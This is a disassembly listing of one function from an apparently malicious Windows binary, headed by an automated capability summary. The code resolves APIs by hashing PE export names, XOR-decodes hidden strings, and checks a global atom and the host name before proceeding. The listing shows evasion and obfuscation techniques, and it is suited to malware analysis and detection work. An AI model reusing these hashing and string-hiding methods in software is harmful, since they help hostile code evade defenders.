Function at 0x140084020
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x268]
sub rsp, 0x360
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14014d0c0]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor r14d, r14d
mov dword [rsp + 0x50], r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rsp + 0x50], rcx
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x1400840e4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400840e4
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xb4b04b91
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400840df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400840c0
cmp edx, 0x29986651
je 0x1400840e9
test r9d, r9d
jne 0x1400840a0
mov rax, qword [rax]
jmp 0x140084070
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call rax
call fcn.1400748b0
call fcn.14007a1b0
mov dword [0x140150940], 0x2d
mov dword [0x140150c68], 2
mov dword [0x140150948], 1
mov dword [0x140150918], 0x23
movups xmm0, xmmword [0x1401390f0]
movups xmmword [rbp + 0x18], xmm0
mov eax, dword [str.4_____L]
mov dword [rbp + 0x28], eax
movzx eax, word [0x140139104]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x140139106]
mov byte [rbp + 0x2e], al
mov r8d, r14d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1400842b5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x18]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400841b0
cmp r8d, 0x17
jge 0x1400842f2
movsxd rax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400842c0
lea rcx, [rbp + 0x18]
call fcn.1400830b0
mov dword [rsp + 0x40], 0x1f4
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
movzx r8d, r9b
xor edx, edx
lea rcx, [0x1401509d0]
call fcn.1401024c0
movups xmm0, xmmword [0x140138618]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140138628]
movsd qword [rbp - 0x48], xmm0
mov eax, dword [0x140138630]
mov dword [rbp - 0x40], eax
cmp byte [0x140138633], r14b
je 0x1400844e2
mov r8d, r14d
cmp esi, 2
jl 0x1400844a5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x58]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400843a0
cmp r8d, 0x1c
jge 0x1400844e2
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400844b0
lea rcx, [rbp - 0x58]
call fcn.1400830b0
lea rcx, [0x1401509d0]
call fcn.1400fe060
mov r8d, r14d
cmp byte [0x140150be0], r14b
jne 0x140084790
movups xmm0, xmmword [0x140138198]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1401381a8]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x1401381b8]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x1401381c0]
mov dword [rbp + 0xa8], eax
cmp esi, 2
jl 0x140084685
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140084580
cmp r8d, 0x2c
jge 0x1400846d2
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400846a0
lea rcx, [rbp + 0x80]
call fcn.1400822a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rsp + 0x50], rcx
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140084764
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140084764
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x4464dfc2
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008475f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140084740
cmp edx, 0x49b1a3e5
je 0x140084769
test r9d, r9d
jne 0x140084720
mov rax, qword [rax]
jmp 0x1400846f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
int 0x29
jmp 0x14008495e
movups xmm0, xmmword [str.uXVW_XHXZ]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1401391d0]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x1401391e0]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x1401391e4]
mov byte [rbp + 0xa4], al
cmp esi, 2
jl 0x140084905
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140084800
cmp r8d, 0x25
jge 0x140084952
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140084920
lea rcx, [rbp + 0x80]
call fcn.1400830b0
movups xmm0, xmmword [str.W__PZYRWX.____._____P]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm0, qword [0x1401381f0]
movsd qword [rbp + 0xf0], xmm0
movzx eax, word [0x1401381f8]
mov word [rbp + 0xf8], ax
movzx eax, byte [0x1401381fa]
mov byte [rbp + 0xfa], al
movups xmm0, xmmword [str.E_WLV_XRK_______G]
movups xmmword [rbp - 8], xmm0
movzx eax, word [0x140138660]
mov word [rbp + 8], ax
cmp byte [0x140138661], r14b
je 0x140084b42
mov r8d, r14d
cmp esi, 2
jl 0x140084b05
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140084a00
cmp r8d, 0x12
jge 0x140084b42
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140084b10
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
lea rax, [rbp - 8]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x140084b60
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x70]
call fcn.140021570
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x180]
lea rcx, [0x1401509d0]
call fcn.140110c60
nop
cmp byte [rbp + 9], 0
jne 0x140084d22
mov r8d, r14d
cmp esi, 2
jl 0x140084ce5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140084be0
cmp r8d, 0x12
jge 0x140084d22
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140084cf0
mov eax, dword [str.ORK9uBJK_UH]
mov dword [rsp + 0x50], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140084e02
cmp esi, 2
jl 0x140084dbc
movdqa xmm3, xmmword [0x1401395c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401397f0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401397f0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x140084e02
lea r9, [rsp + 0x50]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140084dd0
lea rax, [rsp + 0x50]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140084e07
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
mov r8, qword [rbp + 0x190]
cmp r8, rbx
jne 0x140085a72
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140085a72
call fcn.1400821b0
test al, al
jne 0x140085a72
cmp byte [rbp + 0xfa], al
je 0x140084ff2
mov r8d, r14d
cmp esi, 2
jl 0x140084fa5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe0]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140084ea0
cmp r8d, 0x1b
jge 0x140084ff2
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140084fc0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x1400858d5
cmp byte [rbp + 0xfa], al
jne 0x1400851a2
mov r8d, r14d
cmp esi, 2
jl 0x140085156
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe0]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140085051
cmp r8d, 0x1b
jge 0x1400851a2
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140085170
mov eax, dword [0x140138590]
mov dword [rbp - 0x30], eax
movzx ecx, word [0x140138594]
mov word [rbp - 0x2c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x30], 0x35
xor byte [rbp - 0x2f], 0x37
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
xor cl, 0x3a
mov byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], 0x3b
xor al, 0x3c
mov byte [rbp - 0x2a], al
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x80]
call fcn.140021530
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [0x1401509d0]
call fcn.14010aed0
nop
mov eax, dword [0x140138570]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x140138574]
mov byte [rbp - 0x28], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x27], 0x37
xor byte [rbp - 0x26], 0x38
xor byte [rbp - 0x25], 0x39
xor al, 0x3a
mov byte [rbp - 0x24], al
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x38]
call fcn.14007d380
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x58]
call fcn.1400342f0
mov rbx, rax
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rdx, rbx
mov rcx, rax
call fcn.14007cf80
lea rcx, [rbp + 0x18]
call fcn.140091870
lea rcx, [rbp + 0x38]
call fcn.140025790
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x80]
call fcn.140093190
nop
lea rcx, [rbp + 0x80]
call fcn.14007eb80
movzx ebx, al
lea rcx, [rbp + 0x80]
call fcn.14001f750
test bl, bl
je 0x140085373
